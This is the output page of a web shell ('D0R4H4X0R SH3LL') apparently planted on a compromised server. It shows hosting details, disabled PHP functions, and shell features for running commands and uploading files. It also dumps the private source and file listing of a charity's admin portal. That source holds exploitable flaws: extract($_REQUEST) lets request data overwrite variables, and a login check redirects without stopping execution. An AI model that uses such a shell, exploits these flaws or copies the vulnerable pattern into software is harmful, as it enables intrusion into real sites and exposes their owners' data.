D0R4H4X0R SH3LL

Server Information

Server: LiteSpeed
System: Linux ezra.momentumhosting.cloud 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
User: equalcompa ( 1022 )
PHP Version: 8.2.28
Python Version: Python is not available
Disabled Functions:Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, dl, exec, passthru, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_open, shell_exec, show_source, system

Features

Command Line

Find Longest Directory Path

Scan New PHP Files

Upload File

Directory: /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/

Current File : /home/equalcompa/domains/equalcompassion.org/public_html/admin-portal/addstud.php

<?php 
session_start();
extract($_REQUEST); 
$admin=$_SESSION['admin_logged_in'];	
if($admin=="")
{
	header('location:index.php');
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge"> 
	<meta name="author" content="Admin Portal" />
	<meta name="robots" content="index, follow" />
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="description" content="Dashboard : Admin Portal Portal" />
	<meta property="og:title" content="Dashboard : Admin Portal Portal" />
	<meta property="og:description" content="Dashboard : Admin Portal Portal" />
	<meta property="og:image" content="../logo.png"/>
	<meta name="format-detection" content="telephone=no">
    <title>Equal</title>
    <!-- Favicon icon -->
    <link rel="icon" type="image/png" sizes="16x16" href="../logo.png">
    <link href="./vendor/jqvmap/css/jqvmap.min.css" rel="stylesheet">
	<link rel="stylesheet" href="./vendor/chartist/css/chartist.min.css">
    <link href="./vendor/bootstrap-select/dist/css/bootstrap-select.min.css" rel="stylesheet">
	<link href="./vendor/owl-carousel/owl.carousel.css" rel="stylesheet">
    <link href="./css/style.css" rel="stylesheet">
	
</head>
<body>

    <!--*******************
        Preloader start
    ********************-->
    <div id="preloader">
        <div class="sk-three-bounce">
            <div class="sk-child sk-bounce1"></div>
            <div class="sk-child sk-bounce2"></div>
            <div class="sk-child sk-bounce3"></div>
        </div>
    </div>
    <!--*******************
        Preloader end
    ********************-->

    <!--**********************************
        Main wrapper start
    ***********************************-->
    <div id="main-wrapper">

        <!--**********************************
            Nav header start
        ***********************************-->
        <div class="nav-header">
            <a href="./" class="brand-logo">
		 
            <img src="../wp-content/uploads/2021/08/logo-192.jpg" class="logo-abbr" style="height:50px;width:auto;"/>
			<span  class="brand-title">Equal Compassion </span>
            </a>

            <div class="nav-control">
                <div class="hamburger">
                    <span class="line"></span><span class="line"></span><span class="line"></span>
                </div>
            </div>
        </div>
 	
		<!--**********************************
            Header start
        ***********************************-->
        <div class="header">
            <div class="header-content">
                <nav class="navbar navbar-expand">
                    <div class="collapse navbar-collapse justify-content-between">
                        <div class="header-left">
                            <div class="dashboard_bar">
                                Add Blog / Latest Updates or Events
                            </div>
                        </div>

                        <ul class="navbar-nav header-right">
						 
                            <li class="nav-item dropdown header-profile">
                                <a class="nav-link" href="#" role="button" data-bs-toggle="dropdown">
                                    <img src="../wp-content/uploads/2021/08/logo-192.jpg" width="20" alt="Fairies Aid Care"/>
									<div class="header-info">
										<span>Admin</span>
										<small><?php echo $admin; ?></small>
									</div>
                                </a>
                                <div class="dropdown-menu dropdown-menu-right">
                                    
                                    <a href="./logout.php" class="dropdown-item ai-icon">
                                        <svg id="icon-logout" xmlns="http://www.w3.org/2000/svg" class="text-danger" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"></path><polyline points="16 17 21 12 16 7"></polyline><line x1="21" y1="12" x2="9" y2="12"></line></svg>
                                        <span class="ms-2">Logout </span>
                                    </a>
                                </div>
                            </li>
                        </ul>
                    </div>
                </nav>
            </div>
        </div>
        <!--**********************************
            Header end ti-comment-alt
        ***********************************-->

        <!--**********************************
            Sidebar start
        ***********************************-->
<?php include('sidebar.php'); ?>
        <!--**********************************
            Sidebar end
        ***********************************-->
		
		<!--**********************************
            Content body start
        ***********************************-->
        <div class="content-body">
<style>
.right{
	text-align:right;
}
.left{
	text-align:left;
}
</style>
            <!-- row -->
			<div class="container-fluid">
			
					
		                <div class="row page-titles mx-0">
                    <div class="col-sm-6 p-md-0">
                        <div class="welcome-text">
                            <h4>Hi, welcome back!</h4> 
                        </div>
                    </div>
                    <div class="col-sm-6 p-md-0 justify-content-sm-end mt-2 mt-sm-0 d-flex">
                        <ol class="breadcrumb">
                            <li class="breadcrumb-item"><a href="dashboard.php">Home</a></li>
                            <li class="breadcrumb-item active"><a href="addstud.php">Add Blog</a></li>
                        </ol>
                    </div>
                </div>
				<div class="row">
    <style>
        .popup {
            display: none;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            padding: 40px;
            background-color: white;
            border: 1px solid #ccc;
            border-radius: 10px; /* Adding rounded corners */
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
			text-align:center;
        }
        .popup.success {
            border-color: green;
            color: green;
        }
        .popup.error {
            border-color: red;
            color: red;
        }
        .tick {
            width: 60px;
            height: 60px;
            background-image: url('tick.gif'); /* Assuming tick.gif is your animated tick image */
            background-size: cover;
            display: block; 
            margin-bottom: 15px;
           /*  animation: spin 3s linear infinite; Adding animation to the tick */
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
    </style>
    <script>
        function showPopup(message, type) {
            const popup = document.createElement('div');
            popup.classList.add('popup', type);
            popup.innerHTML = '<div class="tick"></div>' + message; // Add tick icon to the message
            document.body.appendChild(popup);
            popup.style.display = 'block';
            setTimeout(() => {
                popup.style.display = 'none';
                document.body.removeChild(popup);
                if (type === 'success') {
                    // Redirect to vstud.php after 3 seconds
                    setTimeout(() => {
                        window.location.href = 'vstud.php';
                    }, 3000);
                }
            }, 3000);
        }
    </script>
                     <div class="col-xl-12 col-lg-12">
                        <div class="card">
                            <div class="card-header">
                                <h4 class="card-title">Add Blog Details</h4>
                            </div>
                            <div class="card-body">
                                <div class="basic-form">
<form id="blogForm" method="POST" enctype="multipart/form-data">
  <!-- Cover Image with Preview -->
  <div class="mb-3">
    Cover Image:
    <input type="file" id="coverImage" name="coverImage" class="form-control input-rounded" accept="image/*"/>
    <div id="coverImagePreview" style="margin-top: 10px;"></div>
  </div>

  <!-- Title Input -->
  <div class="mb-3">
    Title:
    <input type="text" name="title" class="form-control input-rounded" placeholder="Enter Title">
  </div>

  <!-- Brief Textarea -->
  <div class="mb-3">
    Brief:
    <textarea rows="4" name="brief" class="form-control input-rounded" placeholder="Brief"></textarea>
  </div>

  <!-- Paragraph Section -->
  <div class="mb-3" id="paragraphSection">
    <label>Paragraph:</label>
    <div class="paragraph-entry">
      <textarea rows="4" name="paragraphs[]" class="form-control input-rounded" placeholder="Enter paragraph"></textarea>
      <button type="button" class="btn btn-danger btn-sm remove-paragraph" style="margin-top: 5px;float:right;">Remove</button>
    </div>
  </div>
  <button type="button" class="btn btn-secondary" id="addParagraphButton" style="float:left;">
    <span class="fa fa-plus"></span> Add New Paragraph
  </button>
<br>
<br>
  <!-- Blog Gallery Images with Preview -->
  <div class="mb-3">
    Add 3 Images in the Blog Gallery (Only 3 Images):
    <input type="file" id="galleryImages" name="galleryImages[]" class="form-control input-rounded" accept="image/*" multiple>
    <div id="galleryPreview" style="margin-top: 10px;"></div>
  </div>

  <!-- Save Button -->
  <div class="mb-3 right">
    <button type="submit" class="btn btn-primary" name="savebtn">Save Details</button>
  </div>
</form>


<script>
  document.addEventListener("DOMContentLoaded", function () {
    // Cover Image Preview
    document.getElementById("coverImage").addEventListener("change", function (event) {
      const preview = document.getElementById("coverImagePreview");
      preview.innerHTML = ""; // Clear previous preview
      const file = event.target.files[0];
      if (file) {
        const img = document.createElement("img");
        img.src = URL.createObjectURL(file);
        img.style.width = "100px";
        img.style.height = "100px";
        img.style.objectFit = "cover";
        preview.appendChild(img);
      }
    });

    // Gallery Images Preview
    document.getElementById("galleryImages").addEventListener("change", function (event) {
      const preview = document.getElementById("galleryPreview");
      preview.innerHTML = ""; // Clear previous preview
      const files = event.target.files;
      if (files.length > 3) {
        alert("Please select only up to 3 images.");
        event.target.value = ""; // Clear selection if more than 3 files
        return;
      }
      Array.from(files).forEach(file => {
        const img = document.createElement("img");
        img.src = URL.createObjectURL(file);
        img.style.width = "80px";
        img.style.height = "80px";
        img.style.margin = "5px";
        img.style.objectFit = "cover";
        preview.appendChild(img);
      });
    });

    // Add New Paragraph
    document.getElementById("addParagraphButton").addEventListener("click", function () {
      const paragraphSection = document.getElementById("paragraphSection");

      // Create a new div for paragraph entry
      const paragraphEntry = document.createElement("div");
      paragraphEntry.classList.add("paragraph-entry");
      paragraphEntry.style.marginTop = "10px";

      // Create new textarea for paragraph
      const newParagraph = document.createElement("textarea");
      newParagraph.name = "paragraphs[]";
      newParagraph.rows = 4;
      newParagraph.className = "form-control input-rounded";
      newParagraph.placeholder = "Enter another paragraph";

      // Create remove button
      const removeButton = document.createElement("button");
      removeButton.type = "button";
      removeButton.className = "btn btn-danger btn-sm remove-paragraph";
      removeButton.style.marginTop = "5px";
      removeButton.innerText = "Remove";

      // Append textarea and remove button to the new div
      paragraphEntry.appendChild(newParagraph);
      paragraphEntry.appendChild(removeButton);
      
      // Append the new paragraph entry div to the paragraph section
      paragraphSection.appendChild(paragraphEntry);

      // Event listener for the remove button
      removeButton.addEventListener("click", function () {
        paragraphEntry.remove();
      });
    });

    // Initial Remove button for the first paragraph entry
    document.querySelectorAll(".remove-paragraph").forEach(button => {
      button.addEventListener("click", function () {
        button.parentElement.remove();
      });
    });
  });
</script>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
  $(document).ready(function () {
    $('#blogForm').on('submit', function (event) {
      event.preventDefault(); // Prevent the default form submission

      // Create a FormData object to handle file uploads and data
      let formData = new FormData(this);

      // Add all paragraph fields to the FormData
      $('textarea[name="paragraphs[]"]').each(function (index, element) {
        formData.append('paragraphs[]', $(element).val());
      });

      $.ajax({
        url: 'save_blog.php', // PHP file to handle form submission
        type: 'POST',
        data: formData,
        processData: false,
        contentType: false,
        success: function (response) {
          alert(response.message); // Show response message
          if (response.success) {
            $('#blogForm')[0].reset(); // Reset the form on success
            $('#coverImagePreview').html(''); // Clear cover image preview
            $('#galleryPreview').html(''); // Clear gallery preview
            $('#paragraphSection').html(''); // Clear paragraph section
          }
        },
        error: function (xhr, status, error) {
          alert('Error: ' + error); // Show error if AJAX request fails
        }
      });
    });
  });
</script>
 

                                </div>
                            </div>
                        </div>
					</div>
 
				  
							
							
						</div>
					</div>
				</div>
            </div>
        </div>
        <!--**********************************
            Content body end
        ***********************************-->

        <!--**********************************
            Footer start
        ***********************************-->
        <div class="footer">
            <div class="copyright">
                <p>Copyright © <?php echo date('Y'); ?> Fairies Aid Care Uganda &amp; Powered by <a href="tel:+256726008395" target="_blank">Sydney.</a> </p>
            </div>
        </div>
        <!--**********************************
            Footer end
        ***********************************-->

		<!--**********************************
           Support ticket button start
        ***********************************-->

        <!--**********************************
           Support ticket button end
        ***********************************-->

	</div>
    <!--**********************************
        Main wrapper end
    ***********************************-->

    <!--**********************************
        Scripts
    ***********************************-->
    <!-- Required vendors -->
    <script src="./vendor/global/global.min.js"></script>
	<script src="./vendor/bootstrap-select/dist/js/bootstrap-select.min.js"></script>
    <script src="./js/custom.min.js"></script> 
	
	<!-- Chart piety plugin files -->
    <script src="./vendor/peity/jquery.peity.min.js"></script>
	
	<!-- Apex Chart -->
	<script src="./vendor/apexchart/apexchart.js"></script>
	<script src="./vendor/owl-carousel/owl.carousel.js"></script>
	
	<!-- Dashboard 2 -->
	<script src="./js/dashboard/dashboard-4.js"></script>
	<script src="./js/deznav-init.js"></script> 
	
	<script>
		jQuery(document).ready(function(){
			 setTimeout(function(){
                dezSettingsOptions.version = 'dark';
                new dezSettings(dezSettingsOptions);
            }, 200);
            
		});
		
		function carouselReview(){
			jQuery('.testimonial-one').owlCarousel({
				loop:true,
				autoplay:true,
				margin:20,
				nav:false,
				rtl:true,
				dots: false,
				navText: ['', ''],
				responsive:{
					0:{
						items:3
					},
					450:{
						items:4
					},
					600:{
						items:5
					},	
					991:{
						items:5
					},			
					
					1200:{
						items:7
					},
					1601:{
						items:5
					}
				}
			})
		}
		jQuery(window).on('load',function(){
			setTimeout(function(){
				carouselReview();
			}, 1000); 
		});			
	</script>
</body>
</html>
Directory drwxr-xr-x
css DIR
Directory drwxr-xr-x
icons DIR
Directory drwxr-xr-x
images DIR
Directory drwxr-xr-x
js DIR
Directory drwxr-xr-x
uploads DIR
Directory drwxr-xr-x
vendor DIR
Directory drwxr-xr-x
addproj.php 16.670 KB
File -rw-r--r--
addstud.php 16.539 KB
File -rw-r--r--
ant.php 0.714 KB
File -rw-r--r--
certificate.php 5.538 KB
File -rw-r--r--
dashboard.php 12.578 KB
File -rw-r--r--
download.php 12.431 KB
File -rw-r--r--
eproj.php 16.734 KB
File -rw-r--r--
estud.php 16.702 KB
File -rw-r--r--
File -rw-r--r--
form-element.php 109.741 KB
File -rw-r--r--
gen.html 1.176 KB
File -rw-r--r--
gen.php 1.170 KB
File -rw-r--r--
index.php 4.959 KB
File -rw-r--r--
issue.php 12.453 KB
File -rw-r--r--
issuedc.php 11.827 KB
File -rw-r--r--
jquery.min.js 91.442 KB
File -rw-r--r--
logout.php 0.085 KB
File -rw-r--r--
pending.php 11.983 KB
File -rw-r--r--
qr.php 5.052 KB
File -rw-r--r--
qrcode.js 32.391 KB
File -rw-r--r--
qrcode.min.js 19.460 KB
File -rw-r--r--
reset.php 6.757 KB
File -rw-r--r--
save_blog.php 2.091 KB
File -rw-r--r--
save_proj.php 2.097 KB
File -rw-r--r--
sidebar.php 2.344 KB
File -rw-r--r--
table1.php 115.450 KB
File -rw-r--r--
tables.php 208.188 KB
File -rw-r--r--
tick.gif 317.185 KB
File -rw-r--r--
trash.php 13.152 KB
File -rw-r--r--
update_blog.php 1.989 KB
File -rw-r--r--
File -rw-r--r--
vstud.php 12.438 KB
File -rw-r--r--
widget.php 160.418 KB
File -rw-r--r--
D0R4H4X0R SH3LL